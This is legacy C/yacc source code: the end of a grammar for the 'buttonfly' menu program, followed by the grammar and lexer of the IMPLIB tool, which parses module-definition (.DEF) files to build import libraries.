do_color($1, current_button->highcolor, ".highcolor.");
$$ = NULL;
}
| popup
{
if (current_button->popup == NULL)
current_button->popup = $1;
else
{
$1->next = current_button->popup;
current_button->popup = $1;
}
$$ = NULL;
}
;
popup : POPUP actions
{
popup_struct *p;
p = (popup_struct *)malloc(sizeof(popup_struct));
p->title = $1 +1; /* +1 to account for space after .popup. */
p->action = $2;
p->next = NULL;
$$ = p;
}
;
actions : ACTION
{ /* Return a single string */
$$ = $1;
}
| actions ACTION
{ /* Return strings separated by ';' */
char *t, *cat_strings();
t = cat_strings($1, ";");
t = cat_strings(t, $2);
free($2);
$$ = t;
}
|
{ /* Null action */
$$ = NULL;
}
;
%%
/* Subroutines used by rules above */
/*
* If more .whatever. tokens are added, change the following two
* arrays, the %token <string> command below, and NUM_TOKENS in
* buttonfly.h
*/
int token_nums[NUM_TOKENS] =
{
MENU,
POPUP,
COLOR,
BACKCOLOR,
HIGHCOLOR,
};
char *dot_tokens[NUM_TOKENS] =
{
".menu.",
".popup.",
".color.",
".backcolor.",
".highcolor.",
};
button_struct *new_button(s)
char *s;
{
button_struct *result;
int i;
result = (button_struct *)malloc(sizeof(button_struct));
result->name[0][0] = '\0';
result->name[1][0] = '\0';
result->name[2][0] = '\0';
result->wc = 0;
find_words(0, s, result);
result->action = result->submenu = NULL;
result->popup = NULL;
if (selected) for (i=0; i<3; i++) {
result->color[i] = selected->default_color[i];
result->backcolor[i] = selected->default_backcolor[i];
result->highcolor[i] = selected->default_highcolor[i];
result->default_color[i] = selected->default_color[i];
result->default_backcolor[i] = selected->default_backcolor[i];
result->default_highcolor[i] = selected->default_highcolor[i];
} else for (i=0; i<3; i++) {
result->color[i] = 0.7;
result->highcolor[i] = 1.0;
result->backcolor[i] = 0.0;
result->default_color[i] = 0.7;
result->default_highcolor[i] = 1.0;
result->default_backcolor[i] = 0.0;
}
result->next = result->forward = NULL;
return result;
}
char *cat_strings(s1, s2)
char *s1, *s2;
{
s1 = realloc(s1, strlen(s1)+strlen(s2)+1);
strcat(s1, s2);
return s1;
}
/*
* Strip of leading and trailing spaces and tabs
*/
char *
strip(s)
char *s;
{
int i, j;
/* Ok, handle beginning of string */
if ((i = strspn(s, " \t")) != 0)
{
for (j = i; j < (strlen(s)+1); j++)
s[j-i] = s[j];
}
/* Now handle end */
for (i = strlen(s); i > 0; i--)
{
if (s[i] == ' ' || s[i] == '\t')
s[i] = '\0';
else
break;
}
return s;
}
yyerror()
{
/* In case of error... be quiet.
* fprintf(stderr, "Syntax Error\n");
*/
}
find_words(n, str, button)
int n;
char *str;
button_struct *button;
{
int i;
button->wc++;
if (strlen(str)<WORDLENGTH+1)
{
strcpy(button->name[n], str);
}
else
{
i=WORDLENGTH+1;
while ((--i)>0 && str[i]!=' ');
if (i)
{
strncpy(button->name[n], str, i);
button->name[n][i]=0;
// LK: Replacing strcpy() with memmove() because overlapping
// strcpy() on MacOS can cause an abort:
// strcpy(str, str+i+1);
memmove(str, str+i+1, strlen(str+i+1)+1);
if (n<2) find_words(n+1, str, button);
}
else
{
strncpy(button->name[n], str, WORDLENGTH);
button->name[n][WORDLENGTH]=0;
if (n<2)
{
for (i=WORDLENGTH; str[i]!=' ' && str[i]; i++);
if (i<strlen(str))
{
strcpy(str, str+i+1);
find_words(n+1, str, button);
}
}
}
}
}
do_color(s, c, e)
char *s;
float *c;
char *e;
{
float r, g, b;
if (sscanf(s, "%f %f %f", &r, &g, &b) != 3) {
fprintf(stderr, "buttonfly: syntax error: %s\n", e);
} else {
c[0] = r;
c[1] = g;
c[2] = b;
}
}
|
<filename>sdktools/link16/implib.y<gh_stars>10-100
/*
* MODIFICATION HISTORY
*
* M001 07/08/87 rlb
* - Added NOIOPL recognition (PTM 6075).
* - Version number changed to 1.00.01.
* M002 10/05/87 rlb
* - Added REALMODE
* - Version number ==> 1.00.02
*/
%token T_FALIAS
%token T_KCLASS
%token T_KNAME
%token T_KLIBRARY
%token T_KBASE
%token T_KDEVICE
%token T_KPHYSICAL
%token T_KVIRTUAL
%token T_ID
%token T_NUMBER
%token T_KDESCRIPTION
%token T_KHEAPSIZE
%token T_KSTACKSIZE
%token T_KMAXVAL
%token T_KCODE
%token T_KCONSTANT
%token <_wd> T_FDISCARDABLE T_FNONDISCARDABLE
%token T_FEXEC
%token T_FFIXED
%token T_FMOVABLE
%token T_FSWAPPABLE
%token T_FSHARED
%token T_FMIXED
%token T_FNONSHARED
%token T_FPRELOAD
%token T_FINVALID
%token T_FLOADONCALL
%token T_FRESIDENT
%token T_FPERM
%token T_FCONTIG
%token T_FDYNAMIC
%token T_FNONPERM
%token T_KDATA
%token T_FNONE
%token T_FSINGLE
%token T_FMULTIPLE
%token T_KSEGMENTS
%token T_KOBJECTS
%token T_KSECTIONS
%token T_KSTUB
%token T_KEXPORTS
%token T_KEXETYPE
%token T_KSUBSYSTEM
%token T_FDOS
%token T_FOS2
%token T_FUNKNOWN
%token T_FWINDOWS
%token T_FDEV386
%token T_FMACINTOSH
%token T_FWINDOWSNT
%token T_FWINDOWSCHAR
%token T_FPOSIX
%token T_FNT
%token T_FUNIX
%token T_KIMPORTS
%token T_KNODATA
%token T_KOLD
%token T_KCONFORM
%token T_KNONCONFORM
%token T_KEXPANDDOWN T_KNOEXPANDDOWN
%token T_EQ
%token T_AT
%token T_KRESIDENTNAME
%token T_KNONAME
%token T_STRING
%token T_DOT
%token T_COLON
%token T_COMA
%token T_ERROR
%token T_FHUGE T_FIOPL T_FNOIOPL
%token T_PROTMODE
%token T_FEXECREAD T_FRDWR
%token T_FRDONLY
%token T_FINITGLOB T_FINITINST T_FTERMINST
%token T_FWINAPI T_FWINCOMPAT T_FNOTWINCOMPAT T_FPRIVATE T_FNEWFILES
%token T_REALMODE
%token T_FUNCTIONS
%token T_APPLOADER
%token T_OVL
%token T_KVERSION
%{ /* SCCSID = %W% %E% */
#if _M_IX86 >= 300
#define M_I386 1
#define HOST32
#ifndef _WIN32
#define i386
#endif
#endif
#ifdef _WIN32
#ifndef HOST32
#define HOST32
#endif
#endif
#include <basetsd.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include <stdlib.h>
#include <process.h>
#include <stdarg.h>
#include <io.h>
#include "impliber.h"
#include "verimp.h" /* VERSION_STRING header */
#ifdef _MBCS
#define _CRTVAR1
#include <mbctype.h>
#include <mbstring.h>
#endif
#define EXE386 0
#define NOT !
#define AND &&
#define OR ||
#define NEAR
#include <newexe.h>
typedef unsigned char BYTE; /* Byte */
#ifdef HOST32
#define FAR
#define HUGE
#define NEAR
#define FSTRICMP _stricmp
#define PASCAL
#else
#define FAR far
#define HUGE huge
#define FSTRICMP _fstricmp
#define PASCAL __pascal
#endif
#ifndef TRUE
#define TRUE 1
#endif
#ifndef FALSE
#define FALSE 0
#endif
#define C8_IDE TRUE
#ifndef LOCAL
#ifndef _WIN32
#define LOCAL static
#else
#define LOCAL
#endif
#endif
#define WRBIN "wb" /* Write only binary mode */
#define RDBIN "rb" /* Read only binary mode */
#define UPPER(c) (((c)>='a' && (c)<='z')? (c) - 'a' + 'A': (c))
/* Raise char to upper case */
#define YYS_WD(x) (x)._wd /* Access macro */
#define YYS_BP(x) (x)._bp /* Access macro */
#define SBMAX 255 /* Max. of length-prefixed string */
#define MAXDICLN 997 /* Max. no. of pages in dictionary */
#define PAGLEN 512 /* 512 bytes per page */
#define THEADR 0x80 /* THEADR record type */
#define COMENT 0x88 /* COMENT record type */
#define MODEND 0x8A /* MODEND record type */
#define PUBDEF 0x90 /* PUBDEF record type */
#define LIBHDR 0xF0 /* Library header recod */
#define DICHDR 0xF1 /* Dictionary header record */
#define MSEXT 0xA0 /* OMF extension comment class */
#define IMPDEF 0x01 /* IMPort DEFinition record */
#define NBUCKETS 37 /* Thirty-seven buckets per page */
#define PAGEFULL ((char)(0xFF)) /* Page full flag */
#define FREEWD 19 /* Word index of first free word */
#define WPP (PAGLEN >> 1) /* Number of words per page */
#define pagout(pb) fwrite(pb,1,PAGLEN,fo)
/* Write dictionary page to library */
#define INCLUDE_DIR 0xffff /* Include directive for the lexer */
#define MAX_NEST 7
#define IO_BUF_SIZE 512
typedef struct import /* Import record */
{
struct import *i_next; /* Link to next in list */
char *i_extnam; /* Pointer to external name */
char *i_internal; /* Pointer to internal name */
unsigned short i_ord; /* Ordinal number */
unsigned short i_flags; /* Extra flags */
}
IMPORT; /* Import record */
#define I_NEXT(x) (x).i_next
#define I_EXTNAM(x) (x).i_extnam
#define I_INTNAM(x) (x).i_internal
#define I_ORD(x) (x).i_ord
#define I_FLAGS(x) (x).i_flags
typedef unsigned char byte;
typedef unsigned short word;
#ifdef M68000
#define strrchr rindex
#endif
LOCAL int fIgnorecase = 1;/* True if ignoring case - default */
LOCAL int fBannerOnScreen;/* True if banner on screen */
LOCAL int fFileNameExpected = 1;
LOCAL int fNTdll; /* If true add file name extension to module names */
LOCAL int fIgnorewep = 0; /* True if ignoring multiple WEPs */
LOCAL FILE *includeDisp[MAX_NEST];
// Include file stack
LOCAL short curLevel; // Current include nesting level
// Zero means main .DEF file
char prognam[] = "IMPLIB";
FILE *fi; /* Input file */
FILE *fo; /* Output file */
int yylineno = 1; /* Line number */
char rgbid[SBMAX]; /* I.D. buffer */
char sbModule[SBMAX];/* Module name */
IMPORT *implist; /* List of importable symbols */
IMPORT *lastimp; /* Pointer to end of list */
IMPORT *newimps; /* List of importable symbols */
word csyms; /* Symbol count */
word csymsmod; /* Per-module symbol count */
long cbsyms; /* Symbol byte count */
word diclength; /* Dictionary length in PAGEs */
char *mpdpnpag[MAXDICLN];
/* Page buffer array */
char *defname; /* Name of definitions file */
int exitCode; /* code returned to OS */
#if C8_IDE
int fC8IDE = FALSE;
char msgBuf[_MAX_PATH];
#endif
LOCAL char moduleEXE[] = ".exe";
LOCAL char moduleDLL[] = ".dll";
word prime[] = /* Array of primes */
{
2, 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113,
127, 131, 137, 139, 149, 151, 157, 163, 167, 173,
179, 181, 191, 193, 197, 199, 211, 223, 227, 229,
233, 239, 241, 251, 257, 263, 269, 271, 277, 281,
283, 293, 307, 311, 313, 317, 331, 337, 347, 349,
353, 359, 367, 373, 379, 383, 389, 397, 401, 409,
419, 421, 431, 433, 439, 443, 449, 457, 461, 463,
467, 479, 487, 491, 499, 503, 509, 521, 523, 541,
547, 557, 563, 569, 571, 577, 587, 593, 599, 601,
607, 613, 617, 619, 631, 641, 643, 647, 653, 659,
661, 673, 677, 683, 691, 701, 709, 719, 727, 733,
739, 743, 751, 757, 761, 769, 773, 787, 797, 809,
811, 821, 823, 827, 829, 839, 853, 857, 859, 863,
877, 881, 883, 887, 907, 911, 919, 929, 937, 941,
947, 953, 961, 967, 971, 977, 983, 991, MAXDICLN,
0
};
LOCAL void MOVE(int cb, char *src, char *dst);
LOCAL void DefaultModule(char *defaultExt);
LOCAL void NewModule(char *sbNew, char *defaultExt);
LOCAL char *alloc(word cb);
LOCAL void export(char *sbEntry, char *sbInternal, word ordno, word flags);
LOCAL word theadr(char *sbName);
LOCAL void outimpdefs(void);
LOCAL short symeq(char *ps1,char *ps2);
LOCAL void initsl(void);
LOCAL word rol(word x, word n);
LOCAL word ror(word x, word n);
LOCAL void hashsym(char *pf, word *pdpi, word *pdpid,word *pdpo, word *pdpod);
LOCAL void nullfill(char *pbyte, word length);
LOCAL int pagesearch(char *psym, char *dicpage, word *pdpo, word dpod);
LOCAL word instsym(IMPORT *psym);
LOCAL void nulpagout(void);
LOCAL void writedic(void);
LOCAL int IsPrefix(char *prefix, char *s);
LOCAL void DisplayBanner(void);
int NEAR yyparse(void);
LOCAL void yyerror(char *);
char *keywds[] = /* Keyword array */
{
"ALIAS", (char *) T_FALIAS,
"APPLOADER", (char *) T_APPLOADER,
"BASE", (char *) T_KBASE,
"CLASS", (char *) T_KCLASS,
"CODE", (char *) T_KCODE,
"CONFORMING", (char *) T_KCONFORM,
"CONSTANT", (char *) T_KCONSTANT,
"CONTIGUOUS", (char *) T_FCONTIG,
"DATA", (char *) T_KDATA,
"DESCRIPTION", (char *) T_KDESCRIPTION,
"DEV386", (char *) T_FDEV386,
"DEVICE", (char *) T_KDEVICE,
"DISCARDABLE", (char *) T_FDISCARDABLE,
"DOS", (char *) T_FDOS,
"DYNAMIC", (char *) T_FDYNAMIC,
"EXECUTE-ONLY", (char *) T_FEXEC,
"EXECUTEONLY", (char *) T_FEXEC,
"EXECUTEREAD", (char *) T_FEXECREAD,
"EXETYPE", (char *) T_KEXETYPE,
"EXPANDDOWN", (char *) T_KEXPANDDOWN,
"EXPORTS", (char *) T_KEXPORTS,
"FIXED", (char *) T_FFIXED,
"FUNCTIONS", (char *) T_FUNCTIONS,
"HEAPSIZE", (char *) T_KHEAPSIZE,
"HUGE", (char *) T_FHUGE,
"IMPORTS", (char *) T_KIMPORTS,
"IMPURE", (char *) T_FNONSHARED,
"INCLUDE", (char *) INCLUDE_DIR,
"INITGLOBAL", (char *) T_FINITGLOB,
"INITINSTANCE", (char *) T_FINITINST,
"INVALID", (char *) T_FINVALID,
"IOPL", (char *) T_FIOPL,
"LIBRARY", (char *) T_KLIBRARY,
"LOADONCALL", (char *) T_FLOADONCALL,
"LONGNAMES", (char *) T_FNEWFILES,
"MACINTOSH", (char *) T_FMACINTOSH,
"MAXVAL", (char *) T_KMAXVAL,
"MIXED1632", (char *) T_FMIXED,
"MOVABLE", (char *) T_FMOVABLE,
"MOVEABLE", (char *) T_FMOVABLE,
"MULTIPLE", (char *) T_FMULTIPLE,
"NAME", (char *) T_KNAME,
"NEWFILES", (char *) T_FNEWFILES,
"NODATA", (char *) T_KNODATA,
"NOEXPANDDOWN", (char *) T_KNOEXPANDDOWN,
"NOIOPL", (char *) T_FNOIOPL,
"NONAME", (char *) T_KNONAME,
"NONCONFORMING", (char *) T_KNONCONFORM,
"NONDISCARDABLE", (char *) T_FNONDISCARDABLE,
"NONE", (char *) T_FNONE,
"NONPERMANENT", (char *) T_FNONPERM,
"NONSHARED", (char *) T_FNONSHARED,
"NOTWINDOWCOMPAT", (char *) T_FNOTWINCOMPAT,
"NT", (char *) T_FNT,
"OBJECTS", (char *) T_KOBJECTS,
"OLD", (char *) T_KOLD,
"OS2", (char *) T_FOS2,
"OVERLAY", (char *) T_OVL,
"OVL", (char *) T_OVL,
"PERMANENT", (char *) T_FPERM,
"PHYSICAL", (char *) T_KPHYSICAL,
"POSIX", (char *) T_FPOSIX,
"PRELOAD", (char *) T_FPRELOAD,
"PRIVATE", (char *) T_FPRIVATE,
"PRIVATELIB", (char *) T_FPRIVATE,
"PROTMODE", (char *) T_PROTMODE,
"PURE", (char *) T_FSHARED,
"READONLY", (char *) T_FRDONLY,
"READWRITE", (char *) T_FRDWR,
"REALMODE", (char *) T_REALMODE,
"RESIDENT", (char *) T_FRESIDENT,
"RESIDENTNAME", (char *) T_KRESIDENTNAME,
"SECTIONS", (char *) T_KSECTIONS,
"SEGMENTS", (char *) T_KSEGMENTS,
"SHARED", (char *) T_FSHARED,
"SINGLE", (char *) T_FSINGLE,
"STACKSIZE", (char *) T_KSTACKSIZE,
"STUB", (char *) T_KSTUB,
"SUBSYSTEM", (char *) T_KSUBSYSTEM,
"SWAPPABLE", (char *) T_FSWAPPABLE,
"TERMINSTANCE", (char *) T_FTERMINST,
"UNIX", (char *) T_FUNIX,
"UNKNOWN", (char *) T_FUNKNOWN,
"VERSION", (char *) T_KVERSION,
"VIRTUAL", (char *) T_KVIRTUAL,
"WINDOWAPI", (char *) T_FWINAPI,
"WINDOWCOMPAT", (char *) T_FWINCOMPAT,
"WINDOWS", (char *) T_FWINDOWS,
"WINDOWSCHAR", (char *) T_FWINDOWSCHAR,
"WINDOWSNT", (char *) T_FWINDOWSNT,
NULL
};
%}
%union
{
word _wd;
char *_bp;
}
%type <_bp> T_ID
%type <_bp> T_STRING
%type <_bp> Idname
%type <_bp> Internal
%type <_wd> T_NUMBER
%type <_wd> Exportopts
%type <_wd> ExportOtherFlags
%type <_wd> ScopeFlag
%%
Definitions : Name Options
| Name
|
{
DefaultModule(moduleEXE);
}
Options
;
Name : T_KNAME Idname
{
fFileNameExpected = 0;
}
Apptype OtherFlags VirtBase
{
NewModule($2, moduleEXE);
}
| T_KNAME
{
fFileNameExpected = 0;
}
Apptype OtherFlags VirtBase
{
DefaultModule(moduleEXE);
}
| T_KLIBRARY Idname
{
fFileNameExpected = 0;
}
Libflags OtherFlags VirtBase
{
NewModule($2, moduleDLL);
}
| T_KLIBRARY
{
fFileNameExpected = 0;
}
Libflags OtherFlags VirtBase
{
DefaultModule(moduleDLL);
}
| T_KPHYSICAL T_KDEVICE Idname
{
fFileNameExpected = 0;
}
Libflags VirtBase
{
NewModule($3, moduleDLL);
}
| T_KPHYSICAL T_KDEVICE
{
fFileNameExpected = 0;
}
Libflags VirtBase
{
DefaultModule(moduleDLL);
}
| T_KVIRTUAL T_KDEVICE Idname
{
fFileNameExpected = 0;
}
Libflags VirtBase
{
NewModule($3, moduleDLL);
}
| T_KVIRTUAL T_KDEVICE
{
fFileNameExpected = 0;
}
Libflags VirtBase
{
DefaultModule(moduleDLL);
}
;
Libflags : T_FINITGLOB
{
}
| InstanceFlags
|
;
InstanceFlags : InstanceFlags InstanceFlag
| InstanceFlag
;
InstanceFlag : T_FINITINST
| T_FTERMINST
;
VirtBase : T_KBASE T_EQ T_NUMBER
|
;
Apptype : T_FWINAPI
| T_FWINCOMPAT
| T_FNOTWINCOMPAT
| T_FPRIVATE
|
;
OtherFlags : T_FNEWFILES
|
;
Options : Options Option
| Option
;
Option : T_KDESCRIPTION T_STRING
| T_KOLD T_STRING
| T_KSTUB T_FNONE
| T_KSTUB T_STRING
| T_KHEAPSIZE SizeSpec
| T_KSTACKSIZE SizeSpec
| T_PROTMODE
| T_REALMODE
| T_APPLOADER Idname
| Codeflags
| Dataflags
| Segments
| Exports
| Imports
| ExeType
| SubSystem
| ProcOrder
| UserVersion
;
SizeSpec : T_NUMBER T_COMA T_NUMBER
| T_NUMBER
| T_KMAXVAL
;
Codeflags : T_KCODE Codeflaglist
;
Codeflaglist : Codeflaglist Codeflag
| Codeflag
;
Codeflag : Baseflag
| Codeonly
;
Codeonly : T_FEXEC
| T_FEXECREAD
| T_FDISCARDABLE
| T_FNONDISCARDABLE
| T_KCONFORM
| T_KNONCONFORM
;
Dataflags : T_KDATA Dataflaglist
;
Dataflaglist : Dataflaglist Dataflag
| Dataflag
;
Dataflag : Baseflag
| Dataonly
| T_FNONE
| T_FSINGLE
| T_FMULTIPLE
| T_FDISCARDABLE
| T_FNONDISCARDABLE
;
Dataonly : T_FRDONLY
| T_FRDWR
| T_KEXPANDDOWN
| T_KNOEXPANDDOWN
;
Segments : T_KSEGMENTS Segattrlist
| T_KSEGMENTS
| T_KOBJECTS Segattrlist
| T_KOBJECTS
| T_KSECTIONS Segattrlist
| T_KSECTIONS
;
Segattrlist : Segattrlist Segattr
| Segattr
;
Segattr : SegIdname Class Segflags
;
SegIdname : T_ID
| T_STRING
;
Class : T_KCLASS T_STRING
|
;
Segflag : Baseflag
| Codeonly
| Dataonly
;
;
Segflaglist : Segflaglist Segflag
| Segflag
;
Segflags : Segflaglist
|
;
Baseflag : T_FSHARED
| T_FNONSHARED
| T_FINVALID
| T_FIOPL
| T_FNOIOPL
| T_FFIXED
| T_FMOVABLE
| T_FPRELOAD
| T_FLOADONCALL
| T_FHUGE
| T_FSWAPPABLE
| T_FRESIDENT
| T_FALIAS
| T_FMIXED
| T_FNONPERM
| T_FPERM
| T_FCONTIG
| T_FDYNAMIC
;
Exports : T_KEXPORTS Exportlist
| T_KEXPORTS
;
Exportlist : Exportlist Export
| Export
;
Export : Idname Internal Exportopts Exportflags ExportOtherFlags ScopeFlag
{
if ($6)
{
// Skip private exports
free($1);
free($2);
}
else
export($1,$2,$3,$5);
}
;
Internal : T_EQ Idname
{
$$ = $2;
}
|
{
$$ = NULL;
}
;
Exportopts : T_AT T_NUMBER T_KRESIDENTNAME
{
$$ = $2;
}
| T_AT T_NUMBER T_KNONAME
{
$$ = $2;
}
| T_AT T_NUMBER
{
$$ = $2;
}
|
{
$$ = 0;
}
;
Exportflags : Nodata Parmwds
;
Nodata : T_KNODATA
|
;
Parmwds : T_NUMBER
|
;
ExportOtherFlags: T_KCONSTANT
{
$$ = 0x1;
}
|
{
$$ = 0;
}
;
ScopeFlag : T_FPRIVATE
{
$$ = 1;
}
|
{
$$ = 0;
}
;
Imports : T_KIMPORTS Importlist
| T_KIMPORTS
;
Importlist : Importlist Import
| Import
;
Import : Idname Internal T_DOT Idname ImportFlags
| Idname Internal T_DOT T_NUMBER ImportFlags
;
Idname : T_ID
{
$$ = _strdup(rgbid);
}
| T_STRING
{
$$ = _strdup(rgbid);
}
;
ImportFlags : T_KCONSTANT
|
;
ExeType : T_KEXETYPE ExeFlags ExeVersion
| T_KEXETYPE
;
ExeFlags : T_FDOS
| T_FOS2
| T_FUNKNOWN
| T_FWINDOWS
| T_FDEV386
| T_FNT
| T_FUNIX
| T_FMACINTOSH T_FSWAPPABLE
| T_FMACINTOSH
;
ExeVersion : MajorVer T_DOT MinorVer
| MajorVer
;
MajorVer : T_NUMBER
|
;
MinorVer : T_NUMBER
|
;
UserVersion : T_KVERSION ExeVersion
;
SubSystem : T_KSUBSYSTEM SubSystemFlags
;
SubSystemFlags : T_FUNKNOWN
| T_FOS2
| T_FWINDOWS
| T_FWINDOWSNT
| T_FWINDOWSCHAR
| T_FPOSIX
;
ProcOrder : T_FUNCTIONS SegOrOvl ProcList
;
SegOrOvl : T_COLON NameOrNumber
|
;
NameOrNumber : Idname
| T_NUMBER
;
ProcList : ProcList Idname
| Idname
;
%%
#ifndef M_I386
extern char * PASCAL __FMSG_TEXT ( unsigned );
#else
#ifdef _WIN32
extern char * PASCAL __FMSG_TEXT ( unsigned );
#endif
#endif
/*** Error - display error message
*
* Purpose:
* Display error message.
*
* Input:
* errNo - error number
*
* Output:
* No explicit value is returned. Error message written out to stderr.
*
* Exceptions:
* None.
*
* Notes:
* This function takes variable number of parameters. MUST be in
* C calling convention.
*
*************************************************************************/
LOCAL void cdecl Error(unsigned errNo,...)
{
va_list pArgList;
if (!fBannerOnScreen)
DisplayBanner();
va_start(pArgList, errNo); /* Get start of argument list */
/* Write out standard error prefix */
fprintf(stderr, "%s : %s IM%d: ", prognam, GET_MSG(M_error), errNo);
/* Write out error message */
vfprintf(stderr, GET_MSG(errNo), pArgList);
fprintf(stderr, "\n");
if (!exitCode)
exitCode = (errNo >= ER_Min && errNo <= ER_Max)
|| (errNo >= ER_MinFatal && errNo <= ER_MaxFatal);
}
/*** Fatal - display error message
*
* Purpose:
* Display error message and exit to operating system.
*
* Input:
* errNo - error number
*
* Output:
* No explicit value is returned. Error message written out to stderr.
*
* Exceptions:
* None.
*
* Notes:
* This function takes variable number of parameters. MUST be in
* C calling convention.
*
*************************************************************************/
LOCAL void cdecl Fatal(unsigned errNo,...)
{
va_list pArgList;
if (!fBannerOnScreen)
DisplayBanner();
va_start(pArgList, errNo); /* Get start of argument list */
/* Write out standard error prefix */
fprintf(stderr, "%s : %s %s IM%d: ", prognam, GET_MSG(M_fatal), GET_MSG(M_error),errNo);
/* Write out fatal error message */
vfprintf(stderr, GET_MSG(errNo), pArgList);
fprintf(stderr, "\n");
exit(1);
}
/*
* Check if error in output file, abort if there is.
*/
void chkerror ()
{
if(ferror(fo))
{
Fatal(ER_outfull, strerror(errno));
}
}
LOCAL void MOVE(int cb, char *src, char *dst)
{
while(cb--) *dst++ = *src++;
}
LOCAL char *alloc(word cb)
{
char *cp; /* Pointer */
if((cp = malloc(cb)) != NULL) return(cp);
/* Call malloc() to get the space */
Fatal(ER_nomem, "far");
return 0;
}
LOCAL int lookup() /* Keyword lookup */
{
char **pcp; /* Pointer to character pointer */
int i; /* Comparison value */
for(pcp = keywds; *pcp != NULL; pcp += 2)
{ /* Look through keyword table */
if(!(i = FSTRICMP(&rgbid[1],*pcp)))
return((int)(INT_PTR) pcp[1]); /* If found, return token type */
if(i < 0) break; /* Break if we've gone too far */
}
return(T_ID); /* Just your basic identifier */
}
LOCAL int GetChar(void)
{
int c; /* A character */
c = getc(fi);
if (c == EOF && curLevel > 0)
{
fclose(fi);
fi = includeDisp[curLevel];
curLevel--;
c = GetChar();
}
return(c);
}
LOCAL int yylex() /* Lexical analyzer */
{
int c = 0; /* A character */
word x; /* Numeric token value */
int state; /* State variable */
char *cp; /* Character pointer */
char *sz; /* Zero-terminated string */
static int lastc; /* Previous character */
int fFileNameSave;
state = 0; /* Assume we're not in a comment */
for(;;) /* Loop to skip white space */
{
lastc = c;
if((c = GetChar()) == EOF || c == '\032' || c == '\377') return(EOF);
/* Get a character */
if(c == ';') state = 1; /* If comment, set flag */
else if(c == '\n') /* If end of line */
{
state = 0; /* End of comment */
if(!curLevel)
++yylineno; /* Increment line number count */
}
else if(state == 0 && c != ' ' && c != '\t' && c != '\r') break;
/* Break on non-white space */
}
switch(c) /* Handle one-character tokens */
{
case '.': /* Name separator */
if (fFileNameExpected)
break;
return(T_DOT);
case '@': /* Ordinal specifier */
/*
* Require that whitespace precede '@' if introducing an
* ordinal, to allow '@' in identifiers.
*/
if(lastc == ' ' || lastc == '\t' || lastc == '\r')
return(T_AT);
break;
case '=': /* Name assignment */
return(T_EQ);
case ':':
return(T_COLON);
case ',':
return(T_COMA);
}
if(c >= '0' && c <= '9' && !fFileNameExpected)
{ /* If token is a number */
x = c - '0'; /* Get first digit */
c = GetChar(); /* Get next character */
if(x == 0) /* If octal or hex */
{
if(c == 'x' || c == 'X')/* If it is an 'x' */
{
state = 16; /* Base is hexadecimal */
c = GetChar(); /* Get next character */
}
else state = 8; /* Else octal */
}
else state = 10; /* Else decimal */
for(;;)
{
if(c >= '0' && c <= '9') c -= '0';
else if(c >= 'A' && c <= 'F') c -= 'A' - 10;
else if(c >= 'a' && c <= 'f') c -= 'a' - 10;
else break;
if(c >= state) break;
x = x*state + c;
c = GetChar();
}
ungetc(c,fi);
YYS_WD(yylval) = x;
return(T_NUMBER);
}
if(c == '\'' || c == '"') /* If token is a string */
{
sz = &rgbid[1]; /* Initialize */
for(state = 0; state != 2;) /* State machine loop */
{
if((c = GetChar()) == EOF) return(EOF);
/* Check for EOF */
if (sz >= &rgbid[sizeof(rgbid)])
{
Error(ER_linemax, yylineno, sizeof(rgbid)-1);
state = 2;
}
switch(state) /* Transitions */
{
case 0: /* Inside quote */
if(c == '\'' || c == '"') state = 1;
/* Change state if quote found */
else *sz++ = (char) c;/* Else save character */
break;
case 1: /* Inside quote with quote */
if(c == '\'' || c == '"')/* If consecutive quotes */
{
*sz++ = (char) c;/* Quote inside string */
state = 0; /* Back to state 0 */
}
else state = 2; /* Else end of string */
break;
}
}
ungetc(c,fi); /* Put back last character */
*sz = '\0'; /* Null-terminate the string */
rgbid[0] = (char)(sz - &rgbid[1]);
/* Set length of string */
YYS_BP(yylval) = rgbid; /* Save ptr. to identifier */
return(T_STRING); /* String found */
}
sz = &rgbid[1]; /* Initialize */
for(;;) /* Loop to get i.d.'s */
{
if (fFileNameExpected)
cp = " \t\r\n\f";
else
cp = " \t\r\n.=';\032";
while(*cp && *cp != (char) c)
++cp;
/* Check for end of identifier */
if(*cp) break; /* Break if end of identifier found */
if (sz >= &rgbid[sizeof(rgbid)])
Fatal(ER_linemax, yylineno, sizeof(rgbid)-1);
*sz++ = (byte) c; /* Save the character */
if((c = GetChar()) == EOF) break;
/* Get next character */
}
ungetc(c,fi); /* Put character back */
*sz = '\0'; /* Null-terminate the string */
rgbid[0] = (char)(sz - &rgbid[1]); /* Set length of string */
YYS_BP(yylval) = rgbid; /* Save ptr. to identifier */
state = lookup(); /* Look up the identifier */
if (state == INCLUDE_DIR)
{
// Process include directive
fFileNameSave = fFileNameExpected;
fFileNameExpected = 1;
state = yylex();
fFileNameExpected = fFileNameSave;
if (state == T_ID || state == T_STRING)
{
if (curLevel < MAX_NEST - 1)
{
curLevel++;
includeDisp[curLevel] = fi;
fi = fopen(&rgbid[1], RDBIN);
if (fi == NULL)
Fatal(ER_badopen, &rgbid[1], strerror(errno));
return(yylex());
}
else
Fatal(ER_toomanyincl);
}
else
Fatal(ER_badinclname);
return (0);
}
else
return(state);
}
LOCAL void yyerror(s) /* Error routine */
char *s; /* Error message */
{
fprintf(stderr, "%s(%d) : %s %s IM%d: %s %s\n",
defname, yylineno, GET_MSG(M_fatal), GET_MSG(M_error),
ER_syntax, s, GET_MSG(ER_syntax));
exit(1);
}
/*
* Use the basename of the current .DEF file name as the module name.
*/
LOCAL void DefaultModule(char *defaultExt)
{
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
_splitpath(defname, drive, dir, fname, ext);
if (fNTdll)
{
if (ext[0] == '\0')
_makepath(&sbModule[1], NULL, NULL, fname, defaultExt);
else if (ext[0] == '.' && ext[1] == '\0')
strcpy(&sbModule[1], fname);
else
_makepath(&sbModule[1], NULL, NULL, fname, ext);
}
else
_makepath(&sbModule[1], NULL, NULL, fname, NULL);
sbModule[0] = (unsigned char) strlen(&sbModule[1]);
}
LOCAL void NewModule(char *sbNew, char *defaultExt)
{
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
sbNew[sbNew[0]+1] = '\0';
_splitpath(&sbNew[1], drive, dir, fname, ext);
if (fNTdll)
{
if (ext[0] == '\0')
_makepath(&sbModule[1], NULL, NULL, fname, defaultExt);
